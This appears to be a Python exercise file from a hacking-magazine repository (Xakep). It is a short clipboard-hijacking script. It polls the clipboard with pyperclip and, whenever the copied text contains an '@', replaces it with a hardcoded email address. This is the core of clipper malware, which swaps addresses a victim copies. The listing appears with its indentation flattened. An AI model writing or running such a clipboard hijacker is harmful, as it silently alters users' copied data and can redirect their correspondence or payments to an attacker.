Xakep_magazine/Clipboard.py
2021-07-31 17:42:21 +04:00

34 lines
1.8 KiB
Python
Raw Permalink Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

"""
Напиши программу,
которая в цикле мониторит буфер обмена,
периодически получая из него текст
с помощью pyperclip.paste(), и, если видит,
что кем‑то был скопирован email,
заменяет этот email другим,
заранее прописанным в коде, помещая его
в буфер обмена командой
pyperclip.copy('coolhacker@xakep.ru')
"""
# Подключим модуль для работы с буфером обмена
import pyperclip
# Подключим модуль для работы с системным временем
import time
# Задаем переменную old и присваиваем ей пустую строку
old = ''
email = 'nikolai@xakep.ru'
# Начнем бесконечный цикл слежения за буфером обмена
while True:
# Кладем в переменную s содержимое буфера обмена
s = pyperclip.paste()
# Если полученное содержимое не равно предыдущему, то:
if(s != old):
# печатаем его
for i in s:
if i == '@':
pyperclip.copy(email)
# в переменную old записываем текущее пойманное значение
# чтобы в следующий виток цикла не повторяться и не печатать то, что уже поймано
old = s
# В конце витка цикла делаем паузу в одну секунду, чтобы содержимое буфера обмена успело прогрузиться
time.sleep(1)